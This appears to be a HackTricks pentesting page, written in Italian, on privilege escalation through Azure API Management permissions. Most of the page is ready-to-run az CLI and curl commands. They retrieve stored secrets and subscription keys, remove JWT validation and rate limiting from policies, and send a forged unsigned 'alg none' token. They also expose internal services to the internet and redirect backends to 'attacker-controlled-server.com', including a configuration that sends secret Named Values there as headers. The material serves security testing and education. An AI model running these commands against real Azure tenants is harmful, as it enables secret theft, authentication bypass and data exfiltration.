# Az - API Management Privesc

{{#include ../../../banners/hacktricks-training.md}}

## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`

L'attacco consiste nell'accedere a segreti sensibili memorizzati in Azure API Management Named Values, sia recuperando direttamente i valori dei segreti sia abusando delle autorizzazioni per ottenere segreti supportati da Key Vault tramite managed identities.
```bash
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
```
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
Per ogni subscription l'attaccante può ottenere le subscription keys usando l'endpoint listSecrets con il metodo POST:
```bash
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
```
La risposta include la subscription primary key (primaryKey) e la secondary key (secondaryKey). Con queste chiavi, l'attaccante può autenticarsi e accedere alle API pubblicate tramite l'API Management Gateway:
```bash
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>
```
L'attaccante può accedere a tutte le API e ai prodotti associati alla sottoscrizione. Se la sottoscrizione ha accesso a prodotti o API sensibili, l'attaccante può ottenere informazioni riservate o eseguire operazioni non autorizzate.

## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write`

L'attaccante recupera prima la policy dell'API corrente:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
```
L'attaccante può modificare la policy in diversi modi a seconda dei suoi obiettivi. Ad esempio, per disabilitare l'autenticazione, se la policy include JWT token validation, l'attaccante può rimuovere o commentare quella sezione:
```xml
<policies>
<inbound>
<base />
<!-- JWT validation removed by the attacker -->
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
...
</validate-jwt> -->
</inbound>
<backend>
<base />
</backend>
<outbound>
<base />
</outbound>
<on-error>
<base />
</on-error>
</policies>
```
Per rimuovere i controlli di rate limiting e consentire denial-of-service attacks, l'attacker può rimuovere o commentare quota and rate-limit policies:
```xml
<policies>
<inbound>
<base />
<!-- Rate limiting removed by the attacker -->
<!-- <rate-limit calls="100" renewal-period="60" />
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
</inbound>
...
</policies>
```
Per modificare la backend route e reindirizzare il traffico verso un server controllato dall'attacker:
```xml
<policies>
...
<inbound>
<base />
<set-backend-service base-url="https://attacker-controlled-server.com" />
</inbound>
...
</policies>
```
L'attaccante applica quindi la policy modificata. Il corpo della richiesta deve essere un oggetto JSON contenente la policy in formato XML:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
}
}'
```
## JWT Validation Misconfiguration

L'attaccante deve sapere che un'API utilizza la validazione dei JWT token e che la policy è configurata in modo errato. Le policy di validazione JWT configurate in modo errato possono avere `require-signed-tokens="false"` o `require-expiration-time="false"`, il che permette al servizio di accettare unsigned tokens o token che non scadono mai.

L'attaccante crea un JWT token malevolo usando l'algoritmo none (unsigned):
```
# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
```
L'attaccante invia una richiesta all'API usando il token malevolo:
```bash
curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path
```
Se la policy è configurata male con `require-signed-tokens="false"`, il servizio accetterà il token non firmato. L'attaccante può anche creare un token senza una claim di scadenza se `require-expiration-time="false"`.

## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
L'attaccante verifica prima la configurazione di rete corrente del servizio:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
```
L'attaccante esamina la risposta JSON per verificare i valori di `publicNetworkAccess` e `virtualNetworkType`. Se `publicNetworkAccess` è impostato su false o `virtualNetworkType` è impostato su Internal, il servizio è configurato per accesso privato.

Per esporre il servizio su Internet, l'attaccante deve modificare entrambe le impostazioni. Se il servizio è in modalità internal (`virtualNetworkType: "Internal"`), l'attaccante lo imposta su None o External e abilita l'accesso alla rete pubblica. Questo può essere fatto usando l'Azure Management API:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Enabled",
"virtualNetworkType": "None"
}
}'
```
Una volta che `virtualNetworkType` è impostato su `None` o `External` e `publicNetworkAccess` è abilitato, il servizio e tutte le sue API diventano accessibili da Internet, anche se in precedenza erano protetti dietro una rete privata o endpoint privati.

## `Microsoft.ApiManagement/service/backends/write`
L'attaccante prima elenca i backends esistenti per identificare quale modificare:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
```
L'attaccante recupera la configurazione corrente del backend che desidera modificare:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
```
L'attaccante modifica l'URL del backend per puntare a un server sotto il suo controllo. Per prima cosa ottiene l'ETag dalla risposta precedente e poi aggiorna il backend:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"description": "Backend modified by attacker"
}
}'
```
In alternativa, l'attaccante può configurare i backend headers per exfiltrate i Named Values contenenti segreti. Questo avviene tramite la backend credentials configuration:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"credentials": {
"header": {
"X-Secret-Value": ["{{named-value-secret}}"]
}
}
}
}'
```
Con questa configurazione, i Named Values vengono inviati come header in tutte le richieste verso l'attacker-controlled backend, consentendo l'exfiltration di sensitive secrets.

{{#include ../../../banners/hacktricks-training.md}}
